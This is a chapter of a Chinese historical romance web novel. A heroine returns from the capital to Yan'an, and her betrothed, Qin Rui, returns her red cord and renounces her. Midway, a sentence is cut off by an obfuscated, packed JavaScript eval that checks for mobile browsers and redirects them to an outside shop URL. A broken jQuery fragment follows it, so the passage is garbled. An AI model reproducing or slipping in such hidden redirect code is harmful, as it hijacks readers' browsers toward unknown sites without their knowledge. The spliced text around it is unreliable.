文趣网 > 其他小说 > 陇上春归 > 59. 折柳南归
    圣旨到会同馆驿那日,天难得地放了晴。薄薄的日光从半开的窗格里漏进来,落在沈知微手边那盏早已凉透的茶上,将那一点点残茶映得发亮。她正坐在窗前,就着一本极旧的粮账,有一页没一页地翻。那账册里夹着一小片极薄极薄的桂花瓣,早干透了,一碰便碎。她看了那花瓣好一会儿,才极轻极轻地将它从纸页里拈出来,托在掌心里。

    石彪在门外低声唤:“姑娘,宫里来人了。”

    沈知微慢慢站起身来。她理了理衣襟,又极轻极轻地吸了一口气,才走出去。来的是个极年轻的内官,生得眉清目秀,见了她,先极客气地行了个礼,才将那封明黄封面的文书双手奉上。沈知微接了,没急着拆,只道:“有劳公公。”

    那内官又笑着说:“给姑娘道喜了。这旨意一下,姑娘便能返乡了。皇上隆恩,着姑娘先行回延绥,替沈总督料理钱粮诸务。这大典的事,待流寇肃清、国用充裕了,再慢慢筹办。”他说得极轻快,像在说一桩天大的喜事。

    沈知微只极轻极轻地点了点头,道了声谢。那内官又说笑了几句,便告辞去了。她捧着那封旨意,慢慢走回房中,将那圣旨展开来,就着那点将尽未尽的日光,一字一字地读。读完了,又将那圣旨极慢极慢地折好,放回案上。然后她坐回窗前,将手极轻极轻地覆在脸上,好一会儿,才极深极深地呼出一口气。那口气又长又缓,散在风里,像这满城初春的寒意,终于从她骨头缝里一点一点地退了出去。

    启程那日,天又阴了下来。沈知微一行车马,天不亮便出了会同馆驿。出了城,官道上人渐渐少了。初春的野地还是一片灰黄,只极远极远的几处柳梢,隐约透出一点极淡极淡的青。沈知微正望着那点青出神,忽听得车后传来一阵极快极稳的马蹄声。石彪在车外低低道:“姑娘,杨部堂来了。”

    沈知微掀帘下车,见一队极简的仪仗已经到了近前。当先那匹马极神骏,马上之人一身石青色常服,面容清癯,颔下一部短须在风里轻轻飘着,正是杨嗣昌。他见沈知微下了车,便也翻身下马,极从容地走上前来。沈知微朝他行了一礼,道:“杨部堂亲来相送,民女愧不敢当。”

    杨嗣昌摆了摆手,笑得极淡:“姑娘此番回延绥,是国事。本部院来送一送,也是应当的。”他说着,与她并肩在官道上慢慢走了几步。前后的人,都极识趣地落远了。

    “姑娘可知道,皇贵妃这事,是本部院先提的。”杨嗣昌忽然道,声音压得极低,“那几个附议的,也是本部院请来的。”

    沈知微偏过头望了他一眼。她脸上没什么表情,只那双眼睛,又深又静,像早料到了。

    “杨部堂如此照拂,民女记在心里了。”她道。

    杨嗣昌极轻极轻地笑了一下:“照拂不照拂的,姑娘心里有数便是。本部院做这些,不为别的。延绥这摊子,离不得你。十面张网,也离不得延绥。姑娘回去,好生把这一年的粮账理清,把来年的屯政铺排妥当。咱们后头的事,还多着呢。”

    他说到这儿,极轻极轻地一顿:“姑娘也不必太过忧虑。大典既已缓了,便不是没法子。姑娘若能在那桩事上稍稍用些心力,给本部院一点真东西。等这十面张网收了,天下太平了,本部院再替姑娘去争。这宫里进不进得成,说到底,还是看咱们这些做臣子的,肯不肯抬这轿子。”

    沈知微没有接话。她只是极慢极慢地,将目光落向了远处那几株极淡极淡的柳树。杨嗣昌这番话,她听得分明。他这是在卖人情,也是在提醒她。回延绥不是白回的。她得把延绥的屯政办好,更得把北边圣女那条门路真真正正地走动起来。只有她手里握着杨嗣昌要的东西,他才会在御前替她把这桩婚事一拖再拖,拖到那“流寇肃清、国用充裕”的一日,再替她求一条更宽的路。

    “杨部堂放心。”她终于开口,声音极平极稳,“延绥的事,是民女分内之事。北边的事,民女也会尽力。”

    杨嗣昌望了她好一会儿,忽然极轻极轻地笑了:“好。那本部院,便在京城,等姑娘的好消息了。”两人又行了几步,杨嗣昌便住了脚,朝她拱了拱手。沈知微也极郑重地还了礼。她重新上了车,车帘落下,石彪一声令下,车马重新动了。那车轮碾在官道的碎石上,发出极沉极稳的“辘辘”声。

    从京城回延安的路,沈知微走了十三日。

    这十三日里,她几乎没怎么合过眼。白日里,她坐在颠簸的车厢中,将这些年与草原往来的账目、信物、旧档,在脑中一样一样地过。夜里宿在驿馆,她便把那些还记得的、关于巴雅尔与那几支蒙古小部的旧事,借着一点如豆的灯火极慢极慢地写下来。她想起那年黑松林中的会面,想起那血月之夜,想起巴雅尔那双被火把映得半明半暗的、既惊且敬的眼睛。她想,若要再走动起来,怕是要再往北去一趟。圣女的旗号已经打出来一次了。既是天女,便不该只灵验一回。她得再去传一回天语,再给巴雅尔他们送些茶叶、布帛,也替杨嗣昌那桩尚未摆上台面的“羁縻”之事,埋下一根更长更韧的线。

    这条路,又是险,又是缓。可眼下,她只剩这一条路了。

    车到延安,是在一个极晴极暖的午后。那日天蓝得发亮,像被人用清水洗过了几遍。城北官道上,老早便聚了一群人等在那里。沈知微掀开车帘,远远便看见几个极熟悉的身影。王二、石彪、狗剩、孙五、周慎行,连韩把总都来了。秦锐没在人群里。沈知微的目光极快极轻地掠过去,心里头有什么极细极软的地方,极轻极轻地空了一下。

    她还没下车,狗剩已经等不及了,一迭声地喊:“姑娘!姑娘你可算回来了!”那声音又脆又亮,像过年时头一挂被点着的鞭炮。石彪也咧着大嘴笑,脸上的刀疤都跟着舒展开来。王二站在稍后些,仍是那副不爱作声的模样,只那古铜色的脸上极难得地浮起一层极浅极浅的笑纹。

    沈知微下了车,刚站稳,狗剩已经“扑通”一声跪下去,连磕了三个头,嘴里道:“姑娘平安回来,比什么都强!”沈知微忙将他拉起来,又朝众人极郑重地福了一礼:“这些日子,有劳诸位了。”她这话说得极平,可那声音里头,竟带了一丝极不易察觉的颤。王二朝她极轻极轻地点了点头,道:“回来就好。”这四个字,又低又稳,像这满城被晒暖了的黄土,教人心里一下便踏实了。

    回府之后,沈敬修早命王嬷嬷备下了一桌子菜。沈知微进了后院,见父亲正站在那几株桂树前。树还未到开花时节,只满枝极嫩极嫩的新叶,被日头一照,像一蓬蓬会发光的绿雾。沈敬修回头望她,也没说什么,只朝她伸了伸手。沈知微便极轻极轻地走过去,将手放进了父亲掌心里。那手极瘦,却极暖,像这满院春阳,全聚在了这一握之中。

    过了几日,一个极寻常的下午,沈知微正在书房里核今岁春耕的粮种账。秦锐来了。

    他是来见沈敬修的,照例递绥德那边的军情。沈知微没出去,只隔着半卷竹帘,极轻极轻地听见了他的声音。那声音仍清朗,只比从前沉了些,像被什么极重的东西在里头坠着。

    沈敬修见完了秦锐,朝后堂望了望,极轻极轻地道:“知微就在书房里。你们若有什么话,便趁这会儿说开。大婚的事,总归要等朝廷那头了结之后,再缓几年。可这婚约,总还是作数的。秦锐,你今日既来了,便不必再避着。”

    秦锐极轻极轻地应了一声,便朝后堂去了。

    沈知微听见他的脚步声近了。那步子极稳,却极慢,像每一步都踩在极重极沉的东西上。她没抬头,只将手里的笔慢慢搁下,等着他。秦锐在门口极轻极轻地停了一下,才跨了进来。

    “沈姑娘。”他叫她。

    沈知微抬起头来,望他。秦锐今日穿了件极旧的月白袍子,外面也没披甲。人比先前瘦了些,两颊微微凹下去,可那双眼仍极清极亮。他的腕上,那根旧红绳还在。沈知微只望了那红绳一眼,心里头便像被什么极软极热的东西,极轻极轻地烫了一下。

    “沈大人说,让我来与你说几句话。”秦锐道。他的声音极平,像在说一件与己无关的公事,“我想了想,确实有件旧物,该物归原主了。”

    沈知微没说话,只望着他。

    秦锐慢慢抬起左手来。那手腕上,那根旧红绳极旧极旧了,颜色褪得发白,可系在他腕上,却像一道与皮肉长在了一处的痕。他低下头,极慢极慢地、极缓极缓地,用另一只手,将那根红绳解了下来。那绳子极细,被他解了好几下,才从他腕上滑下来。他捧着那根红绳,极郑重极郑重地,走到沈知微面前,极轻极轻地搁在了她手边的几案上。

    “沈姑娘。”他仍叫她沈姑娘。那声音又低又哑,像从喉咙最深处一点一点刮出来的,“宫里的事,末将都听说了。是末将福薄,配不上姑娘。这红绳,是姑娘极要紧的旧物,不该跟着末将。如今,物归原主。”

    沈知微怔怔地望着他。她张了张嘴,想要说话,可秦锐已经朝后退了一步,极规整极恭谨地,朝她端端正正地行了一个大礼。那礼数,不是从前那个会红着耳根叫她“知微”的秦锐。这是营中一个极寻常的将官,在朝见贵人。

    “末将恭贺娘娘。”他的声音极平,平得没有一丝起伏,像一潭结了冰的水,什么也照不出来了,“娘娘大安,万福金安。”

    沈知微浑身都像被冻住了。

    她望着秦锐,望着这个一月前还在绥德的雨夜里说要带兵去把她抢出来的人。她不信。她怎么也不信。她明明已经在想法子了。那皇贵妃虽议了名分,可大典已经缓了。杨嗣昌说了,只要她把北边的事办成,他便能替她再争。这分明是还有转圜的。可秦锐,他连一句话都不肯听,就这么替她做了主,替他们做了主。

    “秦锐。”她听见自己的声音从极深极冷的地方一点一点地升起来。那声音在抖,抖得厉害,像一面被风快吹破的旗,“你什么意思?我辛辛苦苦从京城回来,我想着延绥,想着法子,我还没有说半个‘不’字。你倒好,一声‘娘娘’,一根红绳,便要同我两清了。你把我当成什么了?你把我当成什么了!”

    她越说越急,越说越抖。那些攒了十几日、几十日

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17891032|212732||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    的委屈与恐惧,此刻全化成了怒意,像一把被压得太久的火,忽然从她心口里喷出来。她望着秦锐,眼圈极红,泪在里头打着转,却硬是不肯掉下来。

    “我说过,后年八月十六,我会回来。”她说。那声音又高又颤,像要把这满室寂静都震碎,“我还没死。我还没嫁。你凭什么就替我做了这个主?你凭什么就……”

    秦锐已经转过了身。

    他没看她。或者说,他不敢再看了。她的每一句话,都像刀,一下一下地剜在他心口上。可他不能回头。他怕自己一回头,这满身压着的、强撑着的那么一点力气,便要全数碎了。他不知道她找到了法子。他不知道杨嗣昌的盘算。他只知道,那皇贵妃的名分,是皇上当朝宣的。那大典再缓,她也是天家的人了。他秦锐算什么?一个边镇的武夫,拿什么去和这九五之尊争?他若再往前一步,要害死多少人?

    所以他把那红绳解了。所以他把那“娘娘”叫出了口。所以这满身的疼,他都得一个人咽下去。等咽下去了,回头再上阵,再杀人,再拼命,也都不会比这更疼了。

    沈知微在他身后喊着,声音已经带了极重的哭腔。秦锐没有停。他大步出了门,穿过那半卷的竹帘,穿过这满院将暖未暖的春阳,朝外头走去。风从北边来,吹得他那身旧袍猎猎地翻。那根红绳,他解下来了。可那腕上,被系了三百多个日夜的地方,却像被什么极细极细的东西,仍死死地勒着。勒得他整条胳膊,都跟着发麻,发疼。

    他知道,从今往后,这疼,怕是要跟着他一辈子了。

    他出了总督府,没有直接回营。那马就拴在府门外的老槐下,见了他,极轻极轻地打了声响鼻。秦锐走过去,解了缰绳,却没有立刻上马。他极慢极慢地靠在老槐上,仰起头来,望着天。天是极淡极淡的灰蓝,像一块被水洗得发旧的绢。风一阵一阵地吹过去,将那老槐新抽的嫩叶吹得沙沙地响。

    沈知微那一声声哭喊,还像针一样,往他耳朵里扎。他没听清她在喊什么。他也不敢听清。他只知道,他把她惹哭了。这半年来,他拼了命地练兵,拼了命地打仗,想给他们的将来挣一条路。到头来,路没挣出来,人也没护住。

    他忽然想起那一日,沈敬修亲自登门,要替他们把这婚事定下来。他那时是怎么说的?他说“匈奴未灭,何以家为”,说要等挣下侯爵,等攒下家业,等八月十六,月亮最圆的时候,八抬大轿,风风光光地娶她。沈敬修那时望着他,说好,后年八月十六。他记得自己“咚”地一声跪下去,信誓旦旦,说什么君子一言,驷马难追。

    追什么?他拿什么追?

    他该当时就答应的。他该当时就把她娶过门。若她一早便已嫁作秦家妇,这皇贵妃的名分,又怎么能落到她头上?是他自己,为了那点可笑的、少年人的心气,为了那点“不能比媳妇弱”的蠢念头,亲手把婚期一推再推。推到今日,把她推到了那九重宫墙里头去。

    “蠢货。”他忽然极轻极轻地骂了一声。那声音从牙缝里挤出来,又冷又狠,像在骂一个不共戴天的仇人。

    他骂的是自己。

    他这一身新甲是她送的,腕上那根红绳是她亲手系上的。可他给了她什么?一个言而无信的狗东西。什么“千军万马,宫墙九重,也要把你带出来”,到头来,他连去京城的勇气都没能留住。他爹一巴掌,沈道尊几滴泪,便把他那满身的血性,全数打回了壳子里。他怎么就这么没用?怎么就这么没用!

    他慢慢蹲下身去。那匹枣骝马见他这般,也不走了,只安安静静地立在一旁,将头极轻极轻地垂下来,像也在陪着他。

    秦锐把脸埋进双手里。他的肩膀极轻极轻地抖。没有声音。这满城将暖未暖的春阳里,这个在战场上敢单骑冲阵的年轻人,把脸埋在掌心里,像一匹被抽去了脊梁的幼兽,连哭都哭不出声来。

    他也不知道自己在那儿蹲了多久。等他再站起来时,两条腿已经麻得不像是自己的了。他极慢极慢地直起身子,望着北边绥德的方向。风还在吹。那老槐的嫩叶沙沙地响,像在替谁说着一句又一句,永远也递不到的话。

    他翻身上马,朝北边去了。

    一路上,他再没有回头。那腕上被红绳系了三百多个日夜的地方,空落落的,被风一吹,凉得厉害。像有无数根极细极细的针,正一下一下地,从那空处,往他骨头里钻。

    他不知道沈知微在他身后,也在骂他。骂他蠢,骂他怯,骂他为什么就不能信她这一回。他也不知道,沈知微其实已经找到了一条极险极窄、却未必不能走通的路。他什么都不知道。他只知道,那根红绳,他还了。那声“知微”,他再也没资格叫了。那个他跪在八月十六的月亮底下,用尽了少年人所有真心许下的诺言,他再也,完不成了。

    马越走越快,风越刮越紧。他望着前头那望不见头的、灰黄灰黄的天,忽然极轻极轻地笑了一下。那笑又苦又冷,像一口被从极深极深的地底打上来的水,只一口,便凉透了五脏六腑。

    他到底,还是把她给弄丢了。